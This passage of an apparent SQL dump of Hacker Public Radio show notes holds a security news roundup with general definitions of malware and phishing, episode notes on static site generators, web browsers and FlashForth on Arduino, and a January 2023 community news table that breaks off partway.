2000\nof &#xA3;1500, based on a &#xA3;100 penalty for each of the vehicles authorised on\nthe operator&#x2019;s licence.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.ic3.gov/Media/Y2023/PSA230410\"\ntitle=\"The FBI warns of criminal actors posing as Chinese law enforcement.\">Criminals\nPose as Chinese Authorities to Target US-based Chinese\nCommunity.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> FBI Internet Crime Complaint Center. (2023,\nApr 10).<br />\n</li>\n<li>The FBI warns of criminal actors posing as Chinese law enforcement\nofficials or prosecutors in financial fraud schemes targeting the\nUS-based Chinese community. Criminals tell victims they are suspects in\nfinancial crimes and threaten them with arrest or violence if they do\nnot pay the criminals. Criminals exploit widely publicized efforts by\nthe People&#x2019;s Republic of China government to harass and facilitate\nrepatriation of individuals living in the United States to build\nplausibility for their fraud. Criminals typically call victims,\nsometimes using spoofed numbers to appear as if the call is from the\nChinese Ministry of Public Security, one of its localized Public\nSecurity Bureaus, or a US-based Chinese Consulate. Criminals may also\ncommunicate through online applications.<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><p><strong>User space.</strong></p></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.bleepingcomputer.com/news/security/twitter-rolls-out-encrypted-dms-but-only-for-paying-accounts/\"\ntitle=\"End-to-end encrypted DMs on Twitter.\">Twitter rolls out encrypted\nDMs, but only for paying accounts.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.bleepingcomputer.com/author/bill-toulas/\"\ntitle=\"Technology writer and infosec news reporter.\">Bill Toulas</a>\n(2023, May 11).<br />\n</li>\n<li>Twitter has launched its \'Encrypted Direct Messages\' feature\nallowing paid Twitter Blue subscribers to send end-to-end encrypted\nmessages to other users on the platform.<br />\n</li>\n<li>The private decryption key is only stored on the sender\'s device and\nis not shared with anyone else. However, the public encryption key is\nshared with others who want to send you encrypted data.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.bleepingcomputer.com/news/security/discord-discloses-data-breach-after-support-agent-got-hacked/\"\ntitle=\"third-party support agent was compromised.\">Discord discloses\ndata breach after support agent got hacked.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.bleepingcomputer.com/author/sergiu-gatlan/\"\ntitle=\"Sergiu Gatlan has covered cybersecurity, technology, and other news beats for more than a decade.\">Sergiu\nGatlan</a>. (2023, May 12).<br />\n</li>\n<li>Discord is notifying users of a data breach that occurred after the\naccount of a third-party support agent was compromised.<br />\n</li>\n<li>The security breach exposed the agent\'s support ticket queue, which\ncontained user email addresses, messages exchanged with Discord support,\nand any attachments sent as part of the tickets.<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>Additional Information.</strong>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\"\ntitle=\"From Wikipedia, the free encyclopedia.\">What is a \"Data\nBreach\"?</a> A data breach is a security violation, in which sensitive,\nprotected or confidential data is copied, transmitted, viewed, stolen,\naltered or used by an individual unauthorized to do so.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Malware\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Malware\"?</a>\nMalware (a <a href=\"https://en.wikipedia.org/wiki/Portmanteau\"\ntitle=\"From Wikipedia, the free encyclopedia\">portmanteau</a> for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser\'s computer security and privacy.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Payload_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Payload\"?</a>\nIn the context of a computer virus or worm, the payload is the portion\nof the malware which performs malicious action; deleting data, sending\nspam or encrypting data. In addition to the payload, such malware also\ntypically has overhead code aimed at simply spreading itself, or\navoiding detection.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Phishing\"\ntitle=\"From Wikipedia, the free encyclopedia.\">What is \"Phishing\"?</a>\nPhishing is a form of <a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\"\ntitle=\"From Wikipedia, the free encyclopedia\">social engineering</a>\nwhere attackers deceive people into revealing sensitive information or\ninstalling malware such as <a\nhref=\"https://en.wikipedia.org/wiki/Ransomware\"\ntitle=\"From Wikipedia, the free encyclopedia\">ransomware</a>. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Information_security\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Information\nSecurity\" (InfoSec)?</a> Information security, sometimes shortened to\nInfoSec, is the practice of protecting information by mitigating <a\nhref=\"https://en.wikipedia.org/wiki/Information\"\ntitle=\"From Wikipedia, the free encyclopedia\">information</a> risks. It\nis part of <a\nhref=\"https://en.wikipedia.org/wiki/Risk_management_information_systems\"\ntitle=\"From Wikipedia, the free encyclopedia\">information risk\nmanagement</a>.\n<ul>\n<li><strong>Information Security Attributes:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Confidentiality\"\ntitle=\"From Wikipedia, the free encyclopedia\">Confidentiality</a>, <a\nhref=\"https://en.wikipedia.org/wiki/Data_integrity\"\ntitle=\"From Wikipedia, the free encyclopedia\">Integrity</a> and <a\nhref=\"https://en.wikipedia.org/wiki/Availability\"\ntitle=\"From Wikipedia, the free encyclopedia\">Availability</a> (C.I.A.).\nInformation Systems are composed in three main portions, hardware,\nsoftware and communications with the purpose to help identify and apply\ninformation security industry standards, as mechanisms of protection and\nprevention, at three levels or layers: physical, personal and\norganizational. Essentially, procedures or policies are implemented to\ntell administrators, users and operators how to use products to ensure\ninformation security within the organizations.<br />\n</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Risk_management\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Risk\nmanagement\"?</a> Risk management is the identification, evaluation, and\nprioritization of risks followed by coordinated and economical\napplication of resources to minimize, monitor, and control the\nprobability or impact of unfortunate events or to maximize the\nrealization of opportunities.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Vulnerability_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Vulnerability\"\n(computing)?</a> Vulnerabilities are flaws in a computer system that\nweaken the overall security of the device/system. Vulnerabilities can be\nweaknesses in either the hardware itself, or the software that runs on\nthe hardware.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_surface\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is an \"Attack\nSurface\"?</a> The attack surface of a software environment is the sum of\nthe different points (for \"attack vectors\") where an unauthorized user\n(the \"attacker\") can try to enter data to or extract data from an\nenvironment. Keeping the attack surface as small as possible is a basic\nsecurity measure.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_vector\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is an \"Attack\nVector\"?</a> In computer security, an attack vector is a specific path,\nmethod, or scenario that can be exploited to break into an IT system,\nthus compromising its security. The term was derived from the\ncorresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Standardization\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is\n\"Standardization\"?</a> Standardization is the process of implementing\nand developing technical standards based on the consensus of different\nparties that include firms, users, interest groups, standards\norganizations and governments. Standardization can help maximize\ncompatibility, interoperability, safety, repeatability, or quality. It\ncan also facilitate a normalization of formerly custom processes.\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_computer_standards\"\ntitle=\"From Wikipedia, the free encyclopedia\">List of computer\nstandards.</a><br />\n</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/List_of_technical_standard_organizations\"\ntitle=\"From Wikipedia, the free encyclopedia\">List of technical standard\norganizations.</a><br />\n</li>\n</ul></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Replay_attack\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Replay\nattack\"?</a> A replay attack is a form of network attack in which valid\ndata transmission is maliciously or fraudulently repeated or delayed.\nAnother way of describing such an attack is: \"an attack on a security\nprotocol using a replay of messages from a different context into the\nintended (or original and expected) context, thereby fooling the honest\nparticipant(s) into thinking they have successfully completed the\nprotocol run.\"<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Man-in-the-middle_attack\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a\n\"Man-in-the-middle attack\"?</a> In cryptography and computer security, a\nman-in-the-middle, ..., attack is a cyberattack where the attacker\nsecretly relays and possibly alters the communications between two\nparties who believe that they are directly communicating with each\nother, as the attacker has inserted themselves between the two\nparties.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is \"Transport Layer\nSecurity\" (TLS)?</a> Transport Layer Security (TLS) is a cryptographic\nprotocol designed to provide communications security over a computer\nnetwork. The protocol is widely used in applications such as email,\ninstant messaging, and voice over IP, but its use in securing HTTPS\nremains the most publicly visible.<br />\n</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Handshake_(computing)\"\ntitle=\"From Wikipedia, the free encyclopedia\">What is a \"Handshake\"\n(computing)?</a>. In computing, a handshake is a signal between two\ndevices or programs, used to, e.g., authenticate, coordinate. An example\nis the handshaking between a hypervisor and an application in a guest\nvirtual machine.</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>License:</strong> <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/legalcode\">Creative\nCommons Attribution-ShareAlike 4.0 International</a><br />\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /></a><br />This\nwork is licensed under a\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\">Creative\nCommons Attribution-ShareAlike 4.0 International License</a>.</li>\n</ul>\n',391,74,0,'CC-BY-SA','Ubiquiti dev, Toyota, Sextortion, Twitter, Discord',0,0,1),
(3549,'2022-03-10','Linux Inlaws S01E51: git and static site generators',3206,'git and static site generators','<p> Another fortnight, another episode of our beloved podcast called Linux\r\nInlaws :-). What starts as an episode on the history of Central Europe and the\r\nrole of the Netherlands and Germany in the greater scheme of things rapidly\r\nmoves sideways into a discussion of git-powered static HTML website generators\r\nin contrast to context management systems (CMSs) and their advantages,\r\ndisadvantages and why the hell even think about this.  Chris uses an innocent\r\n(?) Linux User Group (LUG) as an example for a successful site migration from\r\na Python-powered CMS to a version of the website based on a static site\r\ngenerator written in Go and called Hugo.  Even if you may find this boring to\r\ntears stay tuned as there may be an unexpected ending of this ditty in the\r\nshape of two interesting poxes...  </p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>CMS: <a href=\"https://en.wikipedia.org/wiki/Content_management_system\" target=_blank>https://en.wikipedia.org/wiki/Content_management_system</a></li>\r\n<li>Adam and Eve: <a href=\"https://www.adam-and-eve.org\" target=_blank>https://www.adam-and-eve.org</a></li>\r\n<li>MoinMoin: <a href=\"https://moinmo.in\" target=_blank>https://moinmo.in</a></li>\r\n<li>WordPress: <a href=\"https://wordpress.org\" target=_blank>https://wordpress.org</a></li>\r\n<li>PEP 404: <a href=\"https://www.python.org/dev/peps/pep-0404\" target=_blank>https://www.python.org/dev/peps/pep-0404</a></li>\r\n<li>Python Enhancement Proposals: <a href=\"https://www.python.org/dev/peps\" target=_blank>https://www.python.org/dev/peps</a></li>\r\n<li>Static site generators (overview): <a href=\"https://kinsta.com/blog/static-site-generator\" target=_blank>https://kinsta.com/blog/static-site-generator</a></li>\r\n<li>Linux User Group Frankfurt: <a href=\"https://lugfrankfurt.de/en/Home\" target=_blank>https://lugfrankfurt.de/en/Home</a></li>\r\n<li>Gitea: <a href=\"https://gitea.io/en-us\" target=_blank>https://gitea.io/en-us</a></li>\r\n<li>HUGO: <a href=\"https://gohugo.io\" target=_blank>https://gohugo.io</a></li>\r\n<li>HUGO source code: <a href=\"https://github.com/gohugoio/hugo\" target=_blank>https://github.com/gohugoio/hugo</a></li>\r\n<li>Git (web)hooks: <a href=\"https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks\" target=_blank>https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks</a></li>\r\n<li>Reacher: <a href=\"https://en.wikipedia.org/wiki/Reacher_(TV_series)\" target=_blank>https://en.wikipedia.org/wiki/Reacher_(TV_series)</a></li>\r\n<li>The Comeback Trail: <a href=\"https://www.imdb.com/title/tt5420210/?ref_=nv_sr_srsg_0\" target=_blank>https://www.imdb.com/title/tt5420210/?ref_=nv_sr_srsg_0</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','git, content management systems, MoinMoin, HUGO, static site generators, HPR, PEPs, gitea, Reacher',0,0,1),
(3543,'2022-03-02','Idle thoughts on web browsers',476,'and a call for your own on the same','<p>Mentioned in this episode were:</p>\r\n<p>Sweet Maria\'s Coffee: Personal Brewing Routines &amp; The Weirdness of Coffee Culture <br />\r\n<a href=\"https://sweetmarias.libsyn.com/personal-brewing-routines-the-weirdness-of-coffee-culture\">https://sweetmarias.libsyn.com/personal-brewing-routines-the-weirdness-of-coffee-culture</a></p>\r\n<p>Hacker Public Radio 3273: Embrace Firefox, by Some Guy On The Internet <br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=3273\">https://hackerpublicradio.org/eps.php?id=3273</a></p>\r\n<p>To contribute your own idle thoughts in voice message form, join #thoughtsonbrowsers:matrix.org and leave your voice message. Then join #hpr:matrix.org and say hello.</p>\r\n',399,0,1,'CC-BY-SA','browsers,firefox,qutebrowser,tridactyl',0,0,1),
(3537,'2022-02-22','getting to blinky with flashforth',1708,'making an arduino board useful','<ul>\r\n<li>intro <a href=\"https://www.paypal.com/donate/?item_name=Donation+to+FlashForth%3A+for+PIC+and+Atmega&amp;cmd=_donations&amp;business=mikael.nordman%40flashforth.com\">Donation link</a></li>\r\n<li>what you\'ll need\r\n<ul>\r\n<li>hardware\r\n<ul>\r\n<li>arduino uno or nano</li>\r\n<li>programmer<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2799\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2799</a></li>\r\n<li>cables</li>\r\n</ul></li>\r\n<li>software\r\n<ul>\r\n<li>flashforth <a href=\"https://www.sourceforge.net/projects/flashforth\" class=\"uri\">https://www.sourceforge.net/projects/flashforth</a></li>\r\n<li>avrdude <a href=\"https://www.nongnu.org/avrdude/\" class=\"uri\">https://www.nongnu.org/avrdude/</a></li>\r\n<li>terminal program<br />\r\nemacs: M-x serial-term</li>\r\n</ul></li>\r\n<li><a href=\"https://ww1.microchip.com/downloads/en/DeviceDoc/Atmel-7810-Automotive-Microcontrollers-ATmega328P_Datasheet.pdf\">datasheet</a></li>\r\n</ul></li>\r\n<li>the install\r\n<ul>\r\n<li>the guide <a href=\"https://flashforth.com/atmega.html\" class=\"uri\">https://flashforth.com/atmega.html</a></li>\r\n<li>did it work?\r\n<ul>\r\n<li>troubleshooting\r\n<ul>\r\n<li>check connections</li>\r\n<li>permission issues</li>\r\n<li>set fuses separately, one at a time</li>\r\n<li>double checkterminal baud rate</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul></li>\r\n<li>hello-world</li>\r\n</ul>\r\n<pre><code>: hw1 .&quot; Hello, world!&quot; ;\r\n: led-on %00100000 PORTB mset ;\r\n: led-off %00100000 PORTB mclr ;\r\n: flash-led begin led-on #1000 ms led-off #1000 ms again ;</code></pre>\r\n',326,0,0,'CC-BY-SA','arduino, forth',0,0,1),
(3786,'2023-02-06','HPR Community News for January 2023',2881,'HPR Volunteers talk about shows released and comments posted in January 2023','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=415\" target=\"_blank\">enistello</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3761\" target=\"_blank\">3761</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-01-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3761\" target=\"_blank\">HPR Community News for December 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3762\" target=\"_blank\">3762</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-01-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3762\" target=\"_blank\">Existence is pain</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3763\" target=\"_blank\">3763</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-01-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3763\" target=\"_blank\">The Baader-Meinhof Phenomenon</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\" target=\"_blank\">Mike Ray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3764\" target=\"_blank\">3764</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-01-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3764\" target=\"_blank\">My text-focused journey into tech</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=415\" target=\"_blank\">enistello</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3765\" target=\"_blank\">3765</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-01-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3765\" target=\"_blank\">Fixing clock events in GBA pokemon cartridges</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=407\" target=\"_blank\">Celeste</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3766\" target=\"_blank\">3766</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-01-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3766\" target=\"_blank\">ACER Nitro 5 laptop review</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=365\" target=\"_blank\">Bookewyrmm</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3767\" target=\"_blank\">3767</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-01-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3767\" target=\"_blank\">LP article from Wikipedia</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3768\" target=\"_blank\">3768</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-01-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3768\" target=\"_blank\">Jeep Ignition Repair</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=408\" target=\"_blank\">Stache_AF</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3769\" target=\"_blank\">3769</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-01-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3769\" target=\"_blank\">Crouching laptop, hidden server (part 0).</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3770\" target=\"_blank\">3770</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-01-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3770\" target=\"_blank\">Tucson</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3771\" target=\"_blank\">3771</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-01-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3771\" target=\"_blank\">How I eliminated pain naturally</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3772\" target=\"_blank\">3772</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-01-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3772\" target=\"_blank\">Adventures with a small solar panel</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3773\" target=\"_blank\">3773</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-01-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3773\" target=\"_blank\">My Public Speaking Rules</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\" target=\"_blank\">Mike Ray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3774\" target=\"_blank\">3774</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-01-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3774\" target=\"_blank\">Emergency Show posted in 2014. Chump Car Report</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3775\" target=\"_blank\">3775</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-01-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3775\" target=\"_blank\">Emergency Show posted in 2014. How to make a punch-card computer</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=282\" target=\"_blank\">Mike Ray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3776\" target=\"_blank\">3776</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-01-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3776\" target=\"_blank\">A linux distro review</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=365\" target=\"_blank\">Bookewyrmm</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3777\" target=\"_blank\">3777</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-01-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3777\" target=\"_blank\">Running Haiku on Bhyve, the BSD Hypervisor</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3778\" target=\"_blank\">3778</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-01-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3778\" target=\"_blank\">A Squirrel Beeing on Google Products and Google Security</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3779\" target=\"_blank\">3779</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-01-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3779\" target=\"_blank\">Just Because You Can Do a Thing... </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3780\" target=\"_blank\">3780</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-01-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3780\" target=\"_blank\">Fediverse Update May 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3781\" target=\"_blank\">3781</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-01-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3781\" target=\"_blank\">The Joule Thief</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3782\" target=\"_blank\">3782</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-01-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3782\" target=\"_blank\">Content Format article from Wikipedia</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 27 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 8 comments on\n6 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1240#comments\" target=\"_blank\">hpr1240</a></strong>\n(2013-05-03) \"<em>Doomsday Rule</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=229\" target=\"_blank\">Charles in NJ</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1240#1\" target=\"_blank\">Comment 1</a>:\nCharles in NJ on 2023-01-20:\n\"Doomsday Python Code\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3751#comments\" target=\"_blank\">hpr3751</a></strong>\n(2022-12-19) \"<em>Using Noisetorch</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=194\" target=\"_blank\">Deltaray</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3751#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2023-01-22:\n\"Wow this actually works\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3753#comments\" target=\"_blank\">hpr3753</a></strong>\n(2022-12-21) \"<em>Some thoughts on \"Numeronyms\"</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3753#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-01-16:\n\"Pure obscurantism\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3753#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2023-01-18:\n\"Thanks dnt\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3754#comments\" target=\"_blank\">hpr3754</a></strong>\n(2022-12-22) \"<em>GOD probably will use a Chromebook</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3754#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2023-01-18:\n\"Trippy as hell\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3758#comments\" target=\"_blank\">hpr3758</a></strong>\n(2022-12-28) \"<em>First sysadmin job - war story</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3758#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2023-01-12:\n\"What a \"whodunit\"!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3758#2\" target=\"_blank\">Comment 2</a>:\nbrian-in-ohio on 2023-01-25:\n\"love the show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3759#comments\" target=\"_blank\">hpr3759</a></strong>\n(2022-12-29) \"<em>Chatting with dnt.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: 